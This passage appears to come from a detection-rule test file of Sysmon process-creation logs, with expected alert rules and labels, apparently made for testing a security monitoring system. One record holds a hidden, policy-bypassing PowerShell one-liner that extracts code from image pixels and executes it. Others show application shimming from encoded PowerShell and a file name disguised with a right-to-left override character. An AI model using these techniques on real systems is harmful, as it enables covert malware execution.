0xAAAF61\\r\\nTerminalSessionId: 2\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=105B3AC07AF3849E9A6ACB064AB9BDCBEB80F326,MD5=0D1846AA458BED45C564F6B050CECC44,SHA256=6A35A458BDCE60ABC8236C8EC2915505ADC9370812E78FCDEAAC8C494F563FB1,IMPHASH=5D01C40092C3C1075F7A8335CD70663B\\r\\nParentProcessGuid: {94f48244-3a4f-6164-e701-000000001200}\\r\\nParentProcessId: 5968\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\\" -noprofile -encodedCommand JABkAGwAbAAgAD0A==\\\"\", \"version\": \"5\", \"systemTime\": \"2021-10-11T13:21:30.9220110Z\", \"eventRecordID\": \"5741\", \"threadID\": \"4792\", \"computer\": \"accounting.xrisbarney.local\", \"task\": \"1\", \"processID\": \"6116\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "\\\"C:\\\\Windows\\\\system32\\\\sdbinst.exe\\\" C:\\\\Windows\\\\Temp\\\\sdbE376.tmp", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "Application Compatibility Database Installer", "win.eventdata.fileVersion": "10.0.19041.928 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=105B3AC07AF3849E9A6ACB064AB9BDCBEB80F326,MD5=0D1846AA458BED45C564F6B050CECC44,SHA256=6A35A458BDCE60ABC8236C8EC2915505ADC9370812E78FCDEAAC8C494F563FB1,IMPHASH=5D01C40092C3C1075F7A8335CD70663B", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\sdbinst.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{94f48244-3769-6164-61af-aa0000000000}", "win.eventdata.logonId": "0xaaaf61", "win.eventdata.originalFileName": "sdbinst.exe", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\\" -noprofile -encodedCommand JABkAGwAbAAgAD0A==", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.parentProcessGuid": "{94f48244-3a4f-6164-e701-000000001200}", "win.eventdata.parentProcessId": "5968", "win.eventdata.processGuid": "{94f48244-3a5a-6164-e801-000000001200}", "win.eventdata.processId": "7160", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1546.011,technique_name=Application Shimming", "win.eventdata.terminalSessionId": "2", "win.eventdata.user": "XRISBARNEY\\\\itadmin", "win.eventdata.utcTime": "2021-10-11 13:21:30.824", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "accounting.xrisbarney.local", "win.system.eventID": "1", "win.system.eventRecordID": "5741", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "6116", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-11T13:21:30.9220110Z", "win.system.task": "1", "win.system.threadID": "4792", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92059", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Possible Shimming. Application Compatibility Database launched from an encoded powershell command."} +{"log": "{ \"win\": { \"eventdata\": { \"originalFileName\": \"sdclt.exe\", \"image\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\sdclt.exe\", \"product\": \"Microsoft® Windows® Operating System\", \"parentProcessGuid\": \"{94f48244-b437-616e-5001-000000001900}\", \"description\": \"Microsoft® Windows Backup\", \"logonGuid\": \"{94f48244-a5ad-616e-3dfb-0d0000000000}\", \"parentCommandLine\": \"\\\\\\\"C:\\\\\\\\windows\\\\\\\\system32\\\\\\\\cmd.exe\\\\\\\"\", \"processGuid\": \"{94f48244-b4be-616e-5301-000000001900}\", \"logonId\": \"0xdfb3d\", \"parentProcessId\": \"4252\", \"processId\": \"4448\", \"currentDirectory\": \"C:\\\\\\\\Users\\\\\\\\chris\\\\\\\\Desktop\\\\\\\\\", \"utcTime\": \"2021-10-19 12:06:22.776\", \"hashes\": \"SHA1=1C5B9322B51C09A407D182DF481609F7CB8C425D,MD5=E09D48F225E7ABCAB14EBD3B8A9668EC,SHA256=EFD238EA79B93D07852D39052F1411618C36E7597E8AF0966C4A3223F0021DC3,IMPHASH=1F4349F0C287A904C0483B5CD434DF28\", \"parentImage\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\", \"ruleName\": \"technique_id=T1059,technique_name=Command-Line Interface\", \"company\": \"Microsoft Corporation\", \"commandLine\": \"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\sdclt.exe\", \"integrityLevel\": \"Medium\", \"fileVersion\": \"10.0.19041.746 (WinBuild.160101.0800)\", \"user\": \"APT29W1\\\\\\\\chris\", \"terminalSessionId\": \"1\" }, \"system\": { \"eventID\": \"1\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"Process Create:\\r\\nRuleName: technique_id=T1059,technique_name=Command-Line Interface\\r\\nUtcTime: 2021-10-19 12:06:22.776\\r\\nProcessGuid: {94f48244-b4be-616e-5301-000000001900}\\r\\nProcessId: 4448\\r\\nImage: C:\\\\Windows\\\\System32\\\\sdclt.exe\\r\\nFileVersion: 10.0.19041.746 (WinBuild.160101.0800)\\r\\nDescription: Microsoft® Windows Backup\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: sdclt.exe\\r\\nCommandLine: C:\\\\Windows\\\\system32\\\\sdclt.exe\\r\\nCurrentDirectory: C:\\\\Users\\\\chris\\\\Desktop\\\\\\r\\nUser: APT29W1\\\\chris\\r\\nLogonGuid: {94f48244-a5ad-616e-3dfb-0d0000000000}\\r\\nLogonId: 0xDFB3D\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=1C5B9322B51C09A407D182DF481609F7CB8C425D,MD5=E09D48F225E7ABCAB14EBD3B8A9668EC,SHA256=EFD238EA79B93D07852D39052F1411618C36E7597E8AF0966C4A3223F0021DC3,IMPHASH=1F4349F0C287A904C0483B5CD434DF28\\r\\nParentProcessGuid: {94f48244-b437-616e-5001-000000001900}\\r\\nParentProcessId: 4252\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: \\\"C:\\\\windows\\\\system32\\\\cmd.exe\\\"\\\"\", \"version\": \"5\", \"systemTime\": \"2021-10-19T12:06:22.7938322Z\", \"eventRecordID\": \"48411\", \"threadID\": \"3932\", \"computer\": \"apt29w1.xrisbarney.local\", \"task\": \"1\", \"processID\": \"2340\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "C:\\\\Windows\\\\system32\\\\sdclt.exe", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\chris\\\\Desktop\\\\", "win.eventdata.description": "Microsoft® Windows Backup", "win.eventdata.fileVersion": "10.0.19041.746 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=1C5B9322B51C09A407D182DF481609F7CB8C425D,MD5=E09D48F225E7ABCAB14EBD3B8A9668EC,SHA256=EFD238EA79B93D07852D39052F1411618C36E7597E8AF0966C4A3223F0021DC3,IMPHASH=1F4349F0C287A904C0483B5CD434DF28", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\sdclt.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{94f48244-a5ad-616e-3dfb-0d0000000000}", "win.eventdata.logonId": "0xdfb3d", "win.eventdata.originalFileName": "sdclt.exe", "win.eventdata.parentCommandLine": "\\\"C:\\\\windows\\\\system32\\\\cmd.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{94f48244-b437-616e-5001-000000001900}", "win.eventdata.parentProcessId": "4252", "win.eventdata.processGuid": "{94f48244-b4be-616e-5301-000000001900}", "win.eventdata.processId": "4448", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1059,technique_name=Command-Line Interface", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "APT29W1\\\\chris", "win.eventdata.utcTime": "2021-10-19 12:06:22.776", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "apt29w1.xrisbarney.local", "win.system.eventID": "1", "win.system.eventRecordID": "48411", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2340", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-19T12:06:22.7938322Z", "win.system.task": "1", "win.system.threadID": "3932", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92061", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Sdclt.exe launched with medium integrity level."} +{"log": "{ \"win\": { \"eventdata\": { \"originalFileName\": \"PowerShell.EXE\", \"image\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\", \"product\": \"Microsoft® Windows® Operating System\", \"parentProcessGuid\": \"{94f48244-b4bf-616e-5701-000000001900}\", \"description\": \"Windows PowerShell\", \"logonGuid\": \"{94f48244-a5ad-616e-0efb-0d0000000000}\", \"parentCommandLine\": \"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\control.exe\\\\\\\" /name Microsoft.BackupAndRestoreCenter\", \"processGuid\": \"{94f48244-b4bf-616e-5901-000000001900}\", \"logonId\": \"0xdfb0e\", \"parentProcessId\": \"3740\", \"processId\": \"3260\", \"currentDirectory\": \"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\", \"utcTime\": \"2021-10-19 12:06:23.656\", \"hashes\": \"SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\", \"parentImage\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\control.exe\", \"ruleName\": \"technique_id=T1086,technique_name=PowerShell\", \"company\": \"Microsoft Corporation\", \"commandLine\": \"\\\\\\\"PowerShell.exe\\\\\\\" -noni -noexit -ep bypass -window hidden -c \\\\\\\"sal a New-Object;Add-Type -AssemblyName 'System.Drawing'; $g=a System.Drawing.Bitmap('C:\\\\\\\\Users\\\\\\\\username\\\\\\\\Downloads\\\\\\\\monkey.png');$o=a Byte[] 4480;for($i=0; $i -le 6; $i++){foreach($x in(0..639)){$p=$g.GetPixel($x,$i);$o[$i*640+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3932]))\\\\\\\"\", \"integrityLevel\": \"High\", \"fileVersion\": \"10.0.19041.546 (WinBuild.160101.0800)\", \"user\": \"APT29W1\\\\\\\\chris\", \"terminalSessionId\": \"1\" }, \"system\": { \"eventID\": \"1\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"Process Create:\\r\\nRuleName: technique_id=T1086,technique_name=PowerShell\\r\\nUtcTime: 2021-10-19 12:06:23.656\\r\\nProcessGuid: {94f48244-b4bf-616e-5901-000000001900}\\r\\nProcessId: 3260\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nFileVersion: 10.0.19041.546 (WinBuild.160101.0800)\\r\\nDescription: Windows PowerShell\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: PowerShell.EXE\\r\\nCommandLine: \\\"PowerShell.exe\\\" -noni -noexit -ep bypass -window hidden -c \\\"sal a New-Object;Add-Type -AssemblyName 'System.Drawing'; $g=a System.Drawing.Bitmap('C:\\\\Users\\\\username\\\\Downloads\\\\monkey.png');$o=a Byte[] 4480;for($i=0; $i -le 6; $i++){foreach($x in(0..639)){$p=$g.GetPixel($x,$i);$o[$i*640+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3932]))\\\"\\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: APT29W1\\\\chris\\r\\nLogonGuid: {94f48244-a5ad-616e-0efb-0d0000000000}\\r\\nLogonId: 0xDFB0E\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\\r\\nParentProcessGuid: {94f48244-b4bf-616e-5701-000000001900}\\r\\nParentProcessId: 3740\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\control.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\System32\\\\control.exe\\\" /name Microsoft.BackupAndRestoreCenter\\\"\", \"version\": \"5\", \"systemTime\": \"2021-10-19T12:06:23.6618443Z\", \"eventRecordID\": \"48423\", \"threadID\": \"3932\", \"computer\": \"apt29w1.xrisbarney.local\", \"task\": \"1\", \"processID\": \"2340\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "\\\"PowerShell.exe\\\" -noni -noexit -ep bypass -window hidden -c \\\"sal a New-Object;Add-Type -AssemblyName 'System.Drawing'; $g=a System.Drawing.Bitmap('C:\\\\Users\\\\username\\\\Downloads\\\\monkey.png');$o=a Byte[] 4480;for($i=0; $i -le 6; $i++){foreach($x in(0..639)){$p=$g.GetPixel($x,$i);$o[$i*640+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3932]))\\\"", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "Windows PowerShell", "win.eventdata.fileVersion": "10.0.19041.546 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{94f48244-a5ad-616e-0efb-0d0000000000}", "win.eventdata.logonId": "0xdfb0e", "win.eventdata.originalFileName": "PowerShell.EXE", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\System32\\\\control.exe\\\" /name Microsoft.BackupAndRestoreCenter", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\control.exe", "win.eventdata.parentProcessGuid": "{94f48244-b4bf-616e-5701-000000001900}", "win.eventdata.parentProcessId": "3740", "win.eventdata.processGuid": "{94f48244-b4bf-616e-5901-000000001900}", "win.eventdata.processId": "3260", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1086,technique_name=PowerShell", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "APT29W1\\\\chris", "win.eventdata.utcTime": "2021-10-19 12:06:23.656", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "apt29w1.xrisbarney.local", "win.system.eventID": "1", "win.system.eventRecordID": "48423", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2340", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-19T12:06:23.6618443Z", "win.system.task": "1", "win.system.threadID": "3932", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92062", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Powershell launched with a high integrity level by control.exe."} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Downloads\\\\\\\\cod.3aka3.scr2\\\\\\\\cod.scr\\\\\\\\‭‭‮cod.abaf.scr\",\"parentProcessGuid\":\"{4dc16835-ae8b-6171-a3be-1e0000000000}\",\"logonGuid\":\"{4dc16835-ae85-6171-3684-1d0000000000}\",\"parentCommandLine\":\"C:\\\\\\\\Windows\\\\\\\\Explorer.EXE\",\"processGuid\":\"{4dc16835-c80d-6171-29c3-300100000000}\",\"logonId\":\"0x1d8436\",\"parentProcessId\":\"1000\",\"processId\":\"7100\",\"currentDirectory\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Downloads\\\\\\\\cod.3aka3.scr2\\\\\\\\cod.scr\\\\\\\\\",\"utcTime\":\"2021-10-21 20:05:33.050\",\"hashes\":\"SHA1=4DA8E4FB0D91B74A330E2B1BC1268564BDB5088D,MD5=420EEFE8A20A2F1880004FB698704760,SHA256=47EAA4CA06A26E28FB2333C6EF8E669352385225229D0D17900E5E0EC39FACC7,IMPHASH=4C3AA0D89512A05380301CA2EDA65F21\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\explorer.exe\",\"ruleName\":\"technique_id=T1204,technique_name=User Execution\",\"commandLine\":\"\\\\\\\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Downloads\\\\\\\\cod.3aka3.scr2\\\\\\\\cod.scr\\\\\\\\‭‭‮cod.abaf.scr\\\\\\\" /S\",\"integrityLevel\":\"Medium\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1204,technique_name=User Execution\\r\\nUtcTime: 2021-10-21 20:05:33.050\\r\\nProcessGuid: {4dc16835-c80d-6171-29c3-300100000000}\\r\\nProcessId: 7100\\r\\nImage: C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\cod.3aka3.scr2\\\\cod.scr\\\\‭‭‮cod.abaf.scr\\r\\nFileVersion: -\\r\\nDescription: -\\r\\nProduct: -\\r\\nCompany: -\\r\\nOriginalFileName: -\\r\\nCommandLine: \\\"C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\cod.3aka3.scr2\\\\cod.scr\\\\‭‭‮cod.abaf.scr\\\" /S\\r\\nCurrentDirectory: C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\cod.3aka3.scr2\\\\cod.scr\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-ae85-6171-3684-1d0000000000}\\r\\nLogonId: 0x1D8436\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=4DA8E4FB0D91B74A330E2B1BC1268564BDB5088D,MD5=420EEFE8A20A2F1880004FB698704760,SHA256=47EAA4CA06A26E28FB2333C6EF8E669352385225229D0D17900E5E0EC39FACC7,IMPHASH=4C3AA0D89512A05380301CA2EDA65F21\\r\\nParentProcessGuid: {4dc16835-ae8b-6171-a3be-1e0000000000}\\r\\nParentProcessId: 1000\\r\\nParentImage: C:\\\\Windows\\\\explorer.exe\\r\\nParentCommandLine: C:\\\\Windows\\\\Explorer.EXE\\\"\",\"version\":\"5\",\"systemTime\":\"2021-10-21T20:05:33.1093435Z\",\"eventRecordID\":\"397061\",\"threadID\":\"4016\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2296\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "\\\"C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\cod.3aka3.scr2\\\\cod.scr\\\\‭‭‮cod.abaf.scr\\\" /S", "win.eventdata.currentDirectory": "C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\cod.3aka3.scr2\\\\cod.scr\\\\", "win.eventdata.hashes": "SHA1=4DA8E4FB0D91B74A330E2B1BC1268564BDB5088D,MD5=420EEFE8A20A2F1880004FB698704760,SHA256=47EAA4CA06A26E28FB2333C6EF8E669352385225229D0D17900E5E0EC39FACC7,IMPHASH=4C3AA0D89512A05380301CA2EDA65F21", "win.eventdata.image": "C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\cod.3aka3.scr2\\\\cod.scr\\\\‭‭‮cod.abaf.scr", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{4dc16835-ae85-6171-3684-1d0000000000}", "win.eventdata.logonId": "0x1d8436", "win.eventdata.parentCommandLine": "C:\\\\Windows\\\\Explorer.EXE", "win.eventdata.parentImage": "C:\\\\Windows\\\\explorer.exe", "win.eventdata.parentProcessGuid": "{4dc16835-ae8b-6171-a3be-1e0000000000}", "win.eventdata.parentProcessId": "1000", "win.eventdata.processGuid": "{4dc16835-c80d-6171-29c3-300100000000}", "win.eventdata.processId": "7100", "win.eventdata.ruleName": "technique_id=T1204,technique_name=User Execution", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-10-21 20:05:33.050", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "397061", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2296", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-21T20:05:33.1093435Z", "win.system.task": "1", "win.system.threadID": "4016", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.currentDirectory", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92064", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Suspicious right to left override character in binary file"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"sample.Exe\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\sample.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-c80d-6171-29c3-300100000000}\",\"description\":\"Windows Command Processor\",\"logonGuid\":\"{4dc16835-ae85-6171-3684-1d0000000000}\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Downloads\\\\\\\\cod.3aka3.scr2\\\\\\\\cod.scr\\\\\\\\‭‭‮cod.abaf.scr\\\\\\\" /S\",\"processGuid\":\"{4dc16835-c852-6171-e804-320100000000}\",\"logonId\":\"0x1d8436\",\"parentProcessId\":\"7100\",\"processId\":\"7468\",\"currentDirectory\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Downloads\\\\\\\\cod.3aka3.scr2\\\\\\\\cod.scr\\\\\\\\\",\"utcTime\":\"2021-10-21 20:06:42.724\",\"hashes\":\"SHA1=F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D,MD5=8A2122E8162DBEF04694B9C3E0B6CDEE,SHA256=B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450,IMPHASH=272245E2988E1E430500B852C4FB5E18\",\"parentImage\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Downloads\\\\\\\\cod.3aka3.scr2\\\\\\\\cod.scr\\\\\\\\‭‭‮cod.abaf.scr\",\"ruleName\":\"technique_id=T1059,technique_name=Command-Line Interface\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"\\\\\\\"C:\\\\\\\\windows\\\\\\\\system32\\\\\\\\cmd.exe\\\\\\\"\",\"integrityLevel\":\"Medium\",\"fileVersion\":\"10.0.19041.746 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1059,technique_name=Command-Line Interface\\r\\nUtcTime: 2021-10-21 20:06:42.724\\r\\nProcessGuid: {4dc16835-c852-6171-e804-320100000000}\\r\\nProcessId: 7468\\r\\nImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nFileVersion: 10.0.19041.746 (WinBuild.160101.0800)\\r\\nDescription: Windows Command Processor\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: 